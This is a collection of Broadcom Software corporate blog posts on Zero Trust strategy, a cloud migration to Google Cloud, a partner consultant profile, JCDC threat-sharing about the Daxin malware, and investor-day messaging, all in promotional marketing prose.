Get used to another acronym as enterprises make far greater use of Cloud-Native Platforms (CNPs) to bolster their delivery of digital capabilities. CNPs will play a foundational role for new digital initiatives with users tapping the core capabilities of cloud computing to provide scalable IT-related capabilities as a service. “Gartner® predicts that cloud-native platforms will serve as the foundation for more than 95% of new digital initiatives by 2025 — up from less than 40% in 2021”. *
Composable applications become all the rage
In a Press release Gartner states “by 2024, 80% of CIOs surveyed will list modular business redesign, through composability, as a top five reason for accelerated business performance”. ** No small consideration when time is money (literally.)
That will provide the impetus for the use of assemblies of components that can be configured and customized to fit particular jobs. This will go hand-in-hand with the growing popularity of so-called low-code and no-code software solutions in which access to these previously-built solutions will put enterprise-grade technology into the hands of employees who, while not software specialists, will yet be able to use these tools to attack data challenges. This will come as a welcome development since current software development models don’t scale fast enough to produce enough software to meet enterprise needs.
Not just SASE but Data-Centric SASE
It may not roll off the tongue but a new vision for network security called Data-Centric Secure Access Service Edge (SASE) is poised to have a major impact in 2022. It offers a new architecture that places specially adapted security assets closer to where users, applications, and data are located right now (out on the internet), as opposed to where they were 10 years ago (within a private network).
Regardless of what 2022 brings, with our engineering-centered culture and extensive investment in R&D, Broadcom Software is uniquely positioned to help you drive key initiatives that enable scalability, agility, and security. Tackle complex problems at scale with a trusted partner committed to your success now and as we move into the New Year. Continue to follow us on either LinkedIn or Twitter for the most up-to-date news on Broadcom Software.
* Gartner Press Release, “Gartner Top Strategic Technology Trends for 2022”, 18 October 2021, [link- https://www.gartner.com/en/newsroom/press-releases/2021-10-18-gartner-identifies-the-top-strategic-technology-trends-for-2022]
** Gartner Press Release, “Gartner Unveils Top Predictions for IT Organizations and Users in 2022 and Beyond”, 19 October 2021,[link-https://www.gartner.com/en/newsroom/press-releases/2021-10-19-gartner-unveils-top-predictions-for-it-organizations-and-users-in-2022-and-beyond]
Gartner Disclaimer: GARTNER is registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.
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Broadcom Software: 5 Keys to Implementing a Zero Trust Strategy-The 'What' in Your Environment
#4: Know what that entity Is doing in your environment
Implementing Zero Trust may seem daunting, but the good news is that you are probably farther along than you think. In this blog series, Broadcom Software will look at the key factors to consider when implementing a Zero Trust framework.
According to the 2022 Verizon DBIR published earlier this year, the human element was behind 82% of breaches for 2021. While users may accidentally cause a data breach or mistakenly share data they shouldn’t, threat actors are always looking for opportunities to gain access. Once in, they will explore how they might be able to propagate and get deeper and higher access – even admin rights – onto a system and start to control things.
For example, last month, the FBI, CISA and MS-ISAC issued a joint advisory about Vice Society, a hacking group targeting ransomware attacks against the education sector. Prior to deploying ransomware, the actors spend time exploring the network, identifying opportunities to increase accesses, and exfiltrating data for double extortion – a tactic whereby actors threaten to release sensitive data publicly unless a victim pays a ransom.
So, you have observed abnormal behavior in your environment. Threat actor – or errant user? Who is the entity – and what is it doing in your environment?
Visibility: The Cornerstone of Zero Trust
Before you inspect and protect, you must have visibility. Monitoring risk is key. And it’s not just monitoring once or twice or three times; you need to continuously monitor what users are doing and which applications they’re accessing.
For example, if you trust the device, can you trust the application that runs on the device? And if you have a way of assessing the trustworthiness of an application, why aren’t you using that to judge whether it should be allowed to access your data? How can you determine the reputational health of each application and then use that information to determine whether to allow the user to access them? With good endpoint technology and good intelligence, you can assess the reputation of all the applications.
Shadow IT is another security challenge, which can crop up when users try to bypass existing security measures. Audit, a component within the Broadcom Software solution, CASB, can help identify risky services your employees have adopted. CASB and DLP are visibility tools have become more relevant in the new world of multi-cloud. With hybrid architectures, there are many areas where we don’t have the control we used to have.
Protecting systems is important – but don’t forget about the data
Data security is at the heart of Zero Trust. Some people might think, “What about the systems?” What is it that I’m allowing them access to? And if I don’t know that system contains sensitive data or whatever it might be, how do I know I’ve got the right controls in place? Systems are important – and need protection. But it’s important to first follow the data. Let me explain.
You might have a server, with data on it, that has five known vulnerabilities, and they’re not patched. But the server is just a test server and sits on an isolated part of the network. From a risk perspective, there is lower risk to the organization if it is attacked. If that server was hosting your corporate website and had critical financial data, you would be quite worried that it was carrying unknown, unpatched vulnerabilities. As a result, you would make it a priority to protect that data – and that server. So that data context really helps you prioritize security for that server.
What about all the data your security tools generate? With greater visibility, there is the risk of data overload. Security orchestration or other tools that can visualize risk across your organization can help manage volumes of data. Information centric analytics, too, can automate the analysis of security information so that it is prioritized and current.
Zero Trust means thinking differently about security
Fundamentally, Zero Trust is about thinking differently about security. Adopting a Zero Trust framework might affect your HR policies, where you buy equipment, and remote work guidelines. Implementing Zero Trust is a bit like painting the Golden Gate Bridge. You keep going but you’re not done when you get to the end because you’ve got to go back and start again.
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Broadcom Software: 5 Keys to Implementing a Zero Trust Strategy - User Experience
#1: Keep your user experience transparent
Implementing Zero Trust may seem daunting, but the good news is that you are probably farther along than you think. In this blog series, Broadcom Software will look at the key factors to consider when implementing a Zero Trust framework.
From the user's perspective, the ability to use applications – and the security to protect them – should be transparent. They should just work. A poor user experience may encourage employees to subvert established security procedures, create shadow IT and, in the long run, put the company at greater risk for cyberattacks.
For example, when users first pivoted to remote work, there was a surge in interest in using Virtual Private Network (VPNs) to secure workflows. Employees didn’t like the added security step; they were used to the ease of accessing office suite applications such as Microsoft Office, Outlook and other productivity tools without a VPN. Today, eliminating the use of VPNs is one of the biggest corporate drivers for Zero Trust.
Zero Trust (“never trust, always verify”) is not a solution. Instead, it’s a modern paradigm for securing all interactions, starting with users, to a set of resources, assets, or servers. By taking the right steps, organizations can successfully implement Zero Trust while maintaining a quality user experience.
Maintain a Quality (and Secure) User Experience
User experience matters. But what is “quality” user experience? Organizations need to define their “quality” user experience – including performance -- and be able to measure it before, during, and after Zero Trust implementation to ensure there is no user experience degradation. Most organizations have already established a baseline for the performance they're used to delivering. Poor performance can result in a measurable drop in productivity as users try to troubleshoot the issue.
Embrace Least Privilege to Create Granular Access
Access is at the heart of Zero Trust. The primary entry point to Zero Trust is to control or manage access to private applications that are necessary to an organization’s business. “Least privilege” management enables organizations to create and enforce security controls to ensure that users only get access to the resources they need; no more and no less. With Zero Trust, users are not granted continuous, guaranteed access forever. Organizations should have in place a governance policy that supports automatic access management so employees can be quickly added or removed as needed.
These granular rules enable you to audit your least privilege security policy and other policies more carefully since there's only one entry into the application and you have a consistent framework to validate the user, the device, and the access policy at that time.
Extend Visibility Across All Environments, including Hybrid and Multi-Cloud
To ensure a quality user experience, visibility is key for a successful Zero Trust implementation. Traditional network monitoring tools only provide visibility inside an enterprise. While critical assets remain on-prem, the integration of hybrid and multi-cloud environments spreads resources out over networks that organizations don't have the ability to directly monitor with traditional tools. Modern network monitoring solutions like AppNeta by Broadcom can extend visibility into the end-user experience of any application. This visibility is particularly important in multi-cloud environments because now you're trying to monitor and gain an in-depth understanding of infrastructure that you don't own.
Network monitoring helps to ensure that everything is running the way it should be. When you start to monitor, look at utilization, sessions and volumes and transactions to make sure that the network is robust and security controls are not interfering with user access and productivity. As we will discuss in the next article in this series, network monitoring can also play a critical role in identity verification.
What’s Next?
A scenario CISOs never want to hear: "We just got breached and lost 10 million records, but our end user had a pretty good experience. They had a really simple login and good performance." Throughout your Zero Trust journey, be sure to take steps to maintain quality user performance – with the important caveat that it should not replace security as your top priority.
In terms of Zero Trust adoption, the good news is that most organizations are farther along than expected. Many organizations have been piloting Zero Trust implementations for some time. Organizations with a very complicated network or more regulatory compliance requirements have a longer adoption time. Other organizations that deliver services or do other functions that don't have such a high backend data processing stack are able to adopt Zero Trust much more quickly.
Unsure where you are in your own Zero Trust journey? Zero Trust doesn’t have a finish line – as businesses conditions change, Zero Trust requirements change.
Let Broadcom Software be a trusted software partner to help you navigate throughout this process and your Zero Trust journey.
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Broadcom Software: 5 Keys to Implementing a Zero Trust Strategy - Your Environment
#2: Know who is accessing your environment
Implementing Zero Trust may seem daunting, but the good news is that you are probably farther along than you think. In this blog series, we’ll look at the key factors to consider when implementing a Zero Trust framework.
Zero Trust is not a new concept. When the first mainframes were developed 60-70 years ago, they had the structure for Zero Trust (“never trust, always verify”) built into them. They came to you completely shut down and you granted access to open them up. Today, if you buy Microsoft Windows, it comes to you wide open, and it is up to you to shut down access.
Over the years, access has evolved. In the ‘80s, access was all about “single sign-on”: I bring you in and you can access everything seamlessly. Today, security teams need to protect fast-growing endpoints as companies embrace cloud & edge computing. Zero Trust enables organizations to meet rapidly changing business needs while maintaining secure control over critical assets.
In the Zero Trust industry discussions, we see so much focus on the authentication piece but very little on the authorization. Access is authorization. At every step, as the user touches something different, you need to ask, “Who are you?” Also, “what’s your role? Why are you asking for this data? Do you really need this data? Should I give it to you? Or can I give you access to a managed device during an annual operational planning event?”
Identify verification should be both authentication and authorization.
Close Gaps in Your Identity Fabric
At the recent Gartner Identity & Access Management Conference, we often were asked, “What can I do to implement Zero Trust?” The good news is that you probably have already completed most of your implementation. You just need to figure out where there are gaps in your identity fabric and fill them in.
Identify fabric is a comprehensive set of identity services. Modern applications and modern environments have stretched the systems in this fabric so there are now gaps. When gaps exist, you lose Zero Trust. Hybrid and multi-cloud architectures, combined with distributed workforce operations, create a perfect storm of identity verification challenges that put sensitive data at risk. Federated identity fabric platforms, with MFA in place, can help control authentication. The next piece of the puzzle is adding granular authorization. You need to enhance or modernize current systems to handle the pieces that they’re not doing today.
A comprehensive identity, credential, and access management (ICAM) policy emphasizes the value of a cohesive Identity Fabric and a single, unified identity for every user that spans across on-premises and cloud applications.
Manage Cloud Challenges
Most organizations began their Zero Trust journey with their on-prem assets, but now have rapidly integrated resources to cloud and multi-cloud environments. While federated identity structures have helped ease this expansion to the cloud, this change is not without its challenges. When you’re spinning up new environments, it’s hard to get those federations built rapidly. Hybrid and multi-cloud ecosystems add a new layer of complexity to identity and access management.
When expanding to the cloud, consider, “How can we manage these cloud assets and apply controls to gain visibility and governance over them? This challenge is even more difficult in a hybrid environment because organizations are trying to maintain old control frameworks. It’s a good time to evaluate these controls and ask, “Is this control still relevant? And if it’s still relevant, is it designed correctly, or do we need to redesign it?” Redesigning controls is necessary to unlock the benefits of the cloud. The paradigm of enterprise computing is undergoing a sea change and you need to be agile and able to adjust to it.
Monitor Roles in Verification
Take a step back and think about Zero Trust as a journey. If you have a unified identity across all services, you are far along even if you are not yet doing continuous monitoring. Continuous monitoring is critical for identify verification and access control. It helps verify user identity not just by asking the user to keep authenticating, but by watching user behavior to see if it is normal or anomalous.
Organizations should take a unified approach to identity management to support Zero Trust and enable continuous identity verification. They can do this by investing in solutions that verify users’ true identities rather than simply verifying their credentials for an individual point of entry into the network.
What’s Next?
When it comes to identity verification and authorization for Zero Trust implementation, there is no finish line. There will always be a new platform or new environment that creates another challenge. Zero Trust is not about relying on a list of capabilities on a piece of marketing literature. Instead, it always comes down to investing in the right policy and solutions for your evolving environment.
Let Broadcom Software be a trusted software partner to help you navigate throughout the Zero Trust process.
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Broadcom Software: 5 Keys to Implementing a Zero Trust Strategy – The 'How' in Your Environment
#3: Know how that entity Is accessing your environment
Implementing Zero Trust may seem daunting, but the good news is that you are probably farther along than you think. In this blog series, Broadcom Software will look at the key factors to consider when implementing a Zero Trust framework.
In a blog entitled, “The Definition of Modern Zero Trust” published earlier this year, Forrester Senior Research Analyst David Holmes and Senior Analyst Jess Burn wrote, “Zero Trust is an information security model, one that can be worked toward but without an ultimate end state, that denies access to applications and data by default. All entities are untrusted by default; least privilege access is enforced; and comprehensive security monitoring is implemented.”
You may manage a device or person or program, but that doesn’t mean you should inherently trust it. Understanding how an entity is accessing your environment is a critical step in your Zero Trust journey.
Bracing for the velocity of change
Forty years ago, most information resided in mainframes, and still does, and accessing those machines wasn’t complicated but was often restricted to dedicated devices. Today, copies of your data are everywhere – in addition to mainframes, data resides on corporate and personal devices, on-prem and hybrid multi-cloud systems, and much more. There also has been unprecedented device sprawl over the last few years, with mobile devices, phones, and laptops proliferating as the world adapted to remote work. In fact, Gartner predicted the global device installed base will reach 6.4 billion units in 2022, up 3.2% from 2021.
At the same time, we have seen a proliferation of sophisticated fraud tools and techniques by today’s adversaries. Just think about the number of times that people reach out to you as an individual to compromise and steal your credentials and information. Vishing, pharming, whaling and every other form of phishing continue to be highly successful– and corporations are a prime target. One of the biggest security challenges in the world today is minimizing employees’ susceptibility to increasingly sophisticated attacks – and mitigating the impact when employees invariably make mistakes.
Redefine identity
But verifying the identity of the user is not enough. In a recent interview with Government Computer News (GCN), Lester Godsey, chief information security officer for Maricopa County, Arizona, stressed that identity isn’t just who you are – it also refers to devices, services and functions. “You want to know what services need to talk to other services in the environment, so this concept of identity runs the gamut,” Godsey said.
Ask yourself: Who are your users? Where are they – e.g., are they on the network? Are they remote? What devices are they using? Where are they trying to get to? and where are they going? Is it an asset that is in my corporate network or someplace else?
“Never Trust, Always Verify” starts with visibility
From a technology perspective, continuous monitoring and privilege access management play key roles in Zero Trust implementation. Zero Trust starts with visibility – however, many security teams don’t know what they’re securing. In the past, they haven’t needed to know. It’s been the responsibility of application administrators and data stewards to manage the assets. Today, security teams need to understand: What is the entity using to access the environment? Is it managed or unmanaged? What is on the device?
There are some security tools like Cloud Security Access Brokers (CSAB) and Data Loss Prevention (DLP) that can help provide that needed visibility. But security solutions are not enough. A successful Zero Trust implementation also requires basic governance and risk management – once offloaded to other teams, it now needs to be integrated and brought together.
Collaboration is key
The five-year security plan that you built in 2018 and 2019 might not be what you need now. Re-evaluate the assumptions you built in your original plan to see if they are still valid. Has anything changed regarding normal user behavior patterns? What does the threat landscape look like? What is the access situation for your users today?
To effectively implement Zero Trust, you need to involve the whole business. As part of your plan building, be sure to establish ongoing cross-team communications with all necessary stakeholders to ensure you have visibility into future business decisions. Too often stakeholders make decisions on services and how they’re going to share their data without the security team’s input. As a result, the security team is often playing catchup and doesn’t have the authority to tell these people that they can’t do something. If other people are spending the money and the security team is not involved in those decisions, you are inherently not going to know what you need to secure.
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Broadcom Software: 5 Keys to Implementing a Zero Trust Strategy – The Data
#5: Keep all data protected
Implementing Zero Trust may seem daunting, but the good news is that you are probably farther along than you think. In this blog series, Broadcom Software will look at the key factors to consider when implementing a Zero Trust framework.
During a recent conversation, a CISO for a large organization said his number one metric for Zero Trust was that it cannot impact the user experience other than to improve it. There is no question that security is always a balancing act. If you don’t make it simple to access data, the user experience will degrade, and employees will look for ways to bypass security controls. Shadow IT is often an undesired outcome.
In Zero Trust, data is just one of the many resources, in addition to applications and services, that are being accessed. But how do you protect the data? Today the volume of data has nearly outgrown our ability to be custodians of it – and it’s not going to get any better any time soon. By the end of 2022, there will be 97 zettabytes of data in the world. A single person generates 1.7MB of data every second. In addition to the growth in the amount of data, the data itself lives everywhere – from mainframes and corporate devices to hybrid multi-cloud environments.
Zero Trust always takes us back to security fundamentals – you can’t protect what you don’t know you have.
Start with Asset Discovery
Data protection begins with asset discovery. There’s a lot of corporate data today that corporations don’t know they have. The truth is – if you have employees, employees create data and don’t necessarily put it where you expect. You need a robust solution that includes the ability to find data that you didn’t know about that still needs your protection. And to classify it. Once you find it, decide what it is and what level of protection it requires.
So, where does your data live? With Windows or Mac, you open Windows Explorer or MacFinder and you see a hierarchical list of named files and where your data is stored. This might work for a small amount of data scanned manually. The mainframe doesn’t use a file system. There is no hierarchy. It’s not unusual for organizations to have millions and millions of datasets on the mainframe and have no idea whether they contain sensitive PII data, corporate confidential data, or just test data.
Enterprises’ increased dependence on the cloud has created its own set of asset discovery and data protection challenges. Today there are thousands of cloud companies out there and that volume and complexity creates substantial monitoring issues for customers. Proactive cloud monitoring is essential to gain visibility and to protect of all your assets.
Using the right encryption, MFA and more
As mentioned earlier, you are always making tradeoffs between convenience and protection when it comes to security. Encryption is part of it. Access control is part of it. Location is part of it. With mainframe, you can encrypt it, but you then need to manage the ability to easily access the information without compromising encryption. And to do that, you have to give everybody the key to the encryption, which defeats the purpose of the protection.
Also, there are numerous encryption standards, so it’s important you’re using the standard that matches the requirements of the data.
Remember too, encryption is just one aspect of data protection. You need network security, access control, and the ability to track that data and understand where it’s moving, who has access to it, and who’s moving it. Also, be sure to use Multi-Factor Authentication (MDA) on all of your platforms including mainframe.
A Zero Trust implementation includes layers of security protection based on the level of risk your organization is willing to accept. The minute you start to see bypasses, then you know you’ve hit the wall on complexity. Embracing automation can help augment your security as the industry continues to deal with a limited supply of security professionals.
Looking ahead
Data protection – just like your security plans including your Zero Trust framework – must be continually reassessed as business conditions and technology change. The development of quantum computing; the evolution of hybrid work; and shifting privacy and security regulations and standards are just a few of the factors you need to keep in mind when implementing data protection today – and in the future.
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Broadcom Software and Braxton-Grant Technologies: A Recipe For Success
The Broadcom Software Knights continue to provide value to the enterprise
Aileen Hudspeth has been a Broadcom Software Knight since 2013. That means she’s uniquely positioned to help our customers with security hardware and software challenges. Hudspeth is a cyber security engineer/architect with Maryland-based Braxton-Grant Technologies and has 20 years of experience in the IT trenches.
“I’m a technology translator, integrator and fixer,” she says.
Braxton-Grant is a woman-owned, small business that consults with federal and state agencies and private companies on cutting edge cybersecurity and networking solutions. The company provides hardware and software solutions, installation, implementation, testing, support, monitoring, system management and training services. Hudspeth has supported both small and large networks in the financial, healthcare, and state and local government sectors as well as the federal intelligence community and defense agencies.
“We have multi-vendor experience, and we can support customers that need to migrate to Broadcom platforms,” explains Hudspeth. She has deep familiarity with SOPHOS, Gigamon, Okta, CyberArk, and most extensively with Broadcom Software, for whom she has provided expert-level support for more than 30 products in the company’s portfolio. Hudspeth is also well versed in the management of Microsoft Exchange and Virtual Machines, as well as the installation of AVAYA and CISCO IP telephony. And she has mastery of assets and license management, network architecture, LAN/WAN optimization and systems administration.
But wait, there’s more. Hudspeth also specializes in creating customized training curricula for clients.
It’s no accident that Aileen is a Knight. We only choose the most experienced and gifted technologists for the program so our customers can rest easy when choosing a consultant with whom to work. Knights must pass a rigorous training and exam schedule for certification. Knights also receive up-to-the-minute sales and presales information on Broadcom products, sometimes even before our own sales force.
Being a Broadcom Knight establishes that when I'm presenting and communicating there is historical precedent to what I'm discussing; such as my training and education along with my engagements with customers over the years. This puts the customer at ease and they realize that a Knight is the unique combination of a support engineer, a DSE (Designated Support Engineer), and an SE (Systems Engineer); a new take on a Trusted Advisor with an architect mindset. - Aileen Kara Hudspeth, Braxton-Grant Technologies
Hudspeth has achieved accreditation in Broadcom’s Web Security Services, Proxy SG and ASG, CloudSOC CASB and Web Isolation platforms. “I’m there to make things happy for our customer,” she says. “I’m a closer – and I can work under pressure to resolve problems.”
In support of Braxton-Grant's global work, Hudspeth has been contracted to troubleshoot in Canada, Panama and Europe. Hudspeth led a complex project for one customer requiring assistance with a global deployment of Management Center, Proxy SG, Web Security Services, Content Analysis and Sandboxing, CloudSOC, and Data Loss Prevention. “They needed help with how to build it. In 40 hours, I delivered what they had spent 700 hours trying to complete,” Hudspeth says. “We broke it down into consumable chunks.”
Aileen’s goal is to become a trusted advisor. Sometimes that means cutting to the chase. “We have to make the hard decision to break down the facts for our customers if their system or architecture is poorly implemented,” she says. “We give them the pros and cons.” It’s all about troubleshooting. Plus, there’s an advantage to being a 3rd-party expert – management tends to pay more attention to her advice. “Sometimes we come in and validate what other IT engineers on staff are saying – or gave up saying – because no one would listen.”
Hudspeth is one of 25 Broadcom Software Knights. Knights are deeply integrated into our product and engineering development cycles, but they are also technology agnostic and work with many software platforms, not just ours.
When you need the best, call a Broadcom Software Knight. For more information visit us here.
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Broadcom Software and Google Cloud: A Partnership to Modernize the Enterprise
Broadcom Software customers are already seeing the benefits and there is more to come
Google Cloud has been a trusted partner in the Broadcom Software modernization journey. Recently Andy Nallappan, Broadcom Software CTO and Nirav Mehta, Google Cloud Product Leader, discussed how this partnership continues to show significant benefits for Broadcom Software and our customers, including: faster delivery of products, standardized security practices and tools, and improved compliance. By adopting Google Cloud as a uniform, scalable, cloud-agnostic platform for product development, Broadcom Software has been able to deliver rapid elasticity when catering to increased spikes in requests for products that can reach up to 1 million requests per second. Moreover, we could introduce more modern practices into our technology stack like containerization that leverages Docker and Kubernetes.
Nirav recently sat down with Andy to have a conversation about how Google Cloud has been vital to the Broadcom Software modernization journey and some of the early results.
Nirav: What was involved in bringing together the software companies you acquired?
Andy: People have known Broadcom as primarily a hardware company, but in the last three years, we’ve expanded and become one of the largest software players in the world. We were able to do this by buying two major enterprise powerhouses: CA Technologies and Symantec. CA had mainframe, infrastructure and enterprise software offerings and Symantec developed cybersecurity applications for the enterprise. Both had SaaS offerings that were hybrid offerings: available via the cloud and through data centers and both also provided on-prem software. It made for a complicated asset, but one we knew we could bring closer together from an architectural perspective for the maximum benefits to not only our customers, but their customers as well.
Nirav: What were your objectives in terms of how you wanted to transform your enterprise software stack?
Andy: My organization, Broadcom Software, set out on our software modernization journey for a variety of reasons, including the need to bolster product resiliency, reduce the chance of outages, and improve our time-to-delivery cycle for releasing new capabilities and applications. Yet the most important driver was to reimagine, deliver, and support our portfolio as an integrated bundle of software rather than a series of one-off point solutions assembled from prior acquisitions. We did not have a blueprint for this at Broadcom, since we had traditionally acquired hardware companies so we needed to partner with the best to help deliver on our goals.
The important thing to achieve success, was to leverage the strengths of each part of our software organization. These acquired companies had grown through acquisitions and operated in vertical silos. We looked for ways to break them out of those silos and create an offering that was bigger than the sum of its parts. We worked to give each organization a single pane of glass to better manage the business and track what was happening from the sales motion to customer adoption to R&D. Above all, we wanted to liberate our product teams to focus on delivering technologies that solved big, complex problems for our customers, without getting bogged down with different architectures and platforms.
Nirav: Could you please share the story of your first workload migration to Google Cloud?
Andy: Yes, for our first workload migration we focused on one of the Symantec Enterprise products, our Web Cloud security offerings. The technology was running in 50-plus data centers globally, which we knew could be optimized. We set the goal to migrate to Google Cloud, replacing all 50-plus data centers in six months. These are both time-sensitive and customer-sensitive workloads because any problems would have a huge impact on customers. We worked very closely with the professional services group in Google Cloud, whose teams had to make a lot of adjustments to the network including: IPs, load balancing, latencies and localization. We bought Symantec in November 2019 and by April 2020, more than 80% of the data source was replaced. By the end of June 2020, we were finished with the first phase of the whole cloud migration.
We did this without any noticeable impact to our customers, which was imperative. Now, two years later, customers see the benefits of this migration to a single platform on the cloud. We viewed this as an opportunity for our teams where we could take on a huge challenge, map the direction and succeed: which we did. This is not common in our industry and we feel it is just one way that sets Broadcom Software apart from others. The journey has not been without its challenges, but the overall outcome is clear: We feel better positioned to execute on our bold vision and to empower our customers to achieve their business goals, drive innovation, and always keep modernizing our software solutions.
Google Cloud has been a trusted partner in the Broadcom Software modernization journey.
Nirav: What key benefits operationally are you now seeing because of your migration to Google Cloud?
Andy: Re-architecting around a modern software platform has enabled better delivery across our entire portfolio and provides more consistency and ease of integration for individual applications. It has also created synergies and efficiencies for the different software business units and product portfolios. Indeed, standardizing on a common architecture and embracing new open systems-oriented engineering practices is a good business practice, delivering huge economies of scale—including a reduction in overhead—while simultaneously improving software efficiency. As part of that efficiency, we trained more than a thousand people and increased the skill set of our workforce. Our employees saw this as an opportunity to further expand their skills and used the time and opportunities to gain skills we will be using as we move into the future. We now have a cloud conscious culture and a cost-conscious culture, giving us momentum to run our business efficiently and optimize the culture to deliver improved benefits to our customers.
Nirav: You mentioned training was key. How did you perceive the support from Google Cloud in terms of virtual and classroom training?
Andy: Regarding training, we had different kinds of options for our employees including: Self-based learning, instructor-led virtual training, and on-demand training. We trained about 16 different product teams in over 16 countries, allowing thousands of our employees to be trained.
When it comes to the cloud, people have instant access to everything and it creates an environment for people to explore new things. Optimization is a journey, and it can be done on a micro level without a big investment. That is one of the biggest benefits of our migration to the cloud for our employees and makes the cloud much more effective inside of our organization.
Nirav: What were the challenges you encountered during the migration?
Andy: As with any migration there are challenges and there is no perfect time to complete a migration. The larger the migration the larger the challenges. This was true for Broadcom Software as well, and with the project lasting over eight months, sometimes we had to make compromises to keep moving and deliver the best benefits to our customers. But in the end, even with these challenges, we worked with the Google Cloud product teams to find the best solution and a path forward. Any time we had issues or problems to solve, our team at Google Cloud worked with us to resolve them. That is the sign of a great partnership from my perspective.
To learn more about how Broadcom Software’s partnership with Google Cloud benefits our customers, contact us here.
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Broadcom Software and the JCDC
Working to make a difference
Several months ago, I wrote a blog describing the Joint Cyber Defense Collaborative (JCDC), outlining why it is different than previous private-public partnerships, and has the potential to be transformative. After several months of Broadcom Software’s participation in the JCDC as an Alliance Member, I can report back with confidence that the JCDC is working and making a difference.
As stated previously, the JCDC is a joint collaboration between federal agencies and the private sector led by the Cyber Security and Infrastructure Security Agency (CISA). The purpose of the JCDC is to strengthen the nation’s cyber defenses through coordinated and collaborative planning, preparation, and information sharing.
Recently, our researchers in the Symantec Threat Hunter team, part of Broadcom Software, uncovered Daxin, the most sophisticated malware we’ve seen associated with a China-linked actor. Daxin is an espionage tool that allows the attacker to perform various communications and data-gathering operations on the infected computer without raising suspicions. Our researchers did some digging, and found that certain foreign government networks were targeted. However, these foreign governments were not our customers, and we had no way to notify them of the potential harm to their systems and their sensitive information.
Enter the JCDC. Through this collaborative, we shared our findings with CISA. As the JCDC is not just one agency, but comprised of several U.S. government agencies, CISA was able to leverage its connections to enable analysis and joint understanding across multiple partners. Leveraging JCDC’s significant international partnerships, CISA helped us connect with the right contacts in the targeted governments, and assisted in the detection and remediation of their infected computers.
This close partnership is allowing us to work together to better protect against threats to the cyber landscape.
We at Broadcom Software believe that actionable information sharing and collaboration are the core of CISA’s present and future success. We could not have provided the necessary information to the targeted foreign governments without the leadership of CISA and the structure of the JCDC, and CISA would not have known about the malware without our partnership. This is a fundamental case study of exactly what the JCDC was created to do: To leverage the insight and expertise of the private sector, partnered with the resources and capabilities of the public sector, to identify, protect against, detect, and respond to malicious cyber activity. In the past, all too often the private sector has been the source of a one-way flow of information to the U.S. Government, with no collaboration, follow-up, or sense of any impact or result from information sharing. That’s definitely not the case today with CISA and the JCDC, which together represent a true public-private partnership – and exemplifies the operational collaboration CISA talks about. This close partnership is allowing us to work together to better protect against threats to the cyber landscape. Clayton Romans, Associate Director at CISA leading the JCDC, said our engagement on Daxin was a “JCDC success story--proof that the more we collaborate, the better we can provide for the collective defense of critical infrastructure, here and abroad.”
We completely agree, and look forward to continued collaboration with federal agencies and private sector partners through the JCDC to protect and defend our nation and its critical infrastructure. Please feel free to contact us to learn more about how Broadcom Software is partnering with the JCDC or how we can help you modernize, optimize and protect your business.
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Broadcom Software Honored With First Ever Google Cloud DevOps Award
A partnership that is optimizing for the future
We are very proud to share with you the news that Broadcom Software has received a Google Cloud DevOps Award for 2022, demonstrating how our partnership with Google Cloud has helped our dev teams modernize their processes across our portfolio. Our partnership continues to show significant benefits, and this work has resulted in substantial benefits to our customers, including: faster delivery of products, standardized security practices and tools, and improved compliance criteria.
Google Cloud has been a trusted partner in Broadcom Software’s digital transformation journey and we’re honored that they’ve recognized our business transformation and operational excellence. This award builds on the strategic partnership we announced last year to deliver Broadcom’s security and enterprise software portfolio via Google Cloud’s trusted global infrastructure.
Google Cloud DevOps Award
The Google Cloud DevOps Award celebrates the hard work of DevOps teams around the world and was presented at Google Cloud’s Strengthening your DevOps Muscle event on April 7, 2022. Our team was recognized for our work implementing a common IaaS and Kubernetes Platform, common DevOps tooling, DevOps practices and a common CI/CD Pipeline.
At Broadcom Software our DevOps philosophy is that DevOps is a culture that fosters innovation, collaboration, improves efficiency, productivity and eliminates friction across Development and Operations teams. It is a combination of processes and the right toolset that enables us to deliver quality and secure code with high velocity.
Key Objectives Achieved with Google Cloud
This DevOps project allowed Broadcom Software to achieve multiple wins to benefit multiple software divisions, including:
The ability to deploy anytime, anywhere using the common CD pipeline, enabling faster delivery of products with no manual intervention. On average we are deploying 6500+ times across multiple environments in a day. Developers are able to get more incremental changes faster to their customers.
We were able to move out of 60 different data centers all over the world into 27 Google Cloud Regions and points of presence for a significant reduction in infrastructure.
Adoption of containers and a standard GKE based Platform with features like node and pod autoscaling, helped optimize resources significantly.
The overall number of people to run SaaS has been reduced by 70% due to standardization, allowing focus on new innovation projects across the team.
Broadcom Software and Google Cloud
We partnered with Google Cloud to ensure that we could deliver our cloud-first software with speed, scale, and efficiency. We are building a comprehensive portfolio of industry-leading business-critical software that modernizes, optimizes, and protects the world’s most complex hybrid environments, and Google Cloud is a trusted partner on this journey. The Google Cloud DevOps Award is further affirmation of our partnership and the great things to come for our customers and the industry.
To learn more about how Broadcom Software can help you modernize, optimize and protect your enterprise business, contact us here.
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Broadcom Software Introduces One of the World’s Largest Software Businesses
Business-critical enterprise software for the largest global organizations in the world
On November 9, Broadcom Software hosted our first Investor Day event in New York City, showcasing the strength of the software business that serves over 80% of Fortune 500 companies. What was the big message? We are building a comprehensive portfolio of industry-leading enterprise software that modernizes, optimizes, and protects the world’s most complex hybrid IT environments that consist of both Infrastructure and Security Software.
Recognizing that global organizations face unique challenges in managing the complexity of hybrid IT environments, Broadcom created a new software group dedicated to making enterprise companies successful in navigating complexity through industry-leading software designed to scale combined with a long-term strategic partnership. One big change with Broadcom Software is going from selling the typical “perpetual license” that you see in the market, to selling the more modern subscription, allowing more predictability for the enterprise.
"Broadcom is continuing to build one of the world's leading enterprise software businesses committed to customer success," said Tom Krause, President, Broadcom Software Group. "We continue to invest in our targeted model of partnering with the largest multinational customers to provide a comprehensive portfolio of industry-leading solutions and generate sustainable revenue. With an addressable market today of more than $100 billion, Broadcom Software has significant opportunities to capitalize on a clear customer need for scalability, agility and security to power their most complex hybrid IT environments and accelerate our long-term growth."
With our targeted go to market model, we realize that it is important to focus on serving the largest enterprise customers, which have many things in common, including:
Large and expanding IT budgets
Complex IT infrastructure
Heterogeneous environments
Hybrid/multi cloud approach
Regulated
Risk Averse
Broadcom Software is a product company first and foremost, investing in infrastructure and security software that is the foundational layer of information technology products and services. With an above industry-standard investment in R&D, we are committed to retaining our technology leadership.
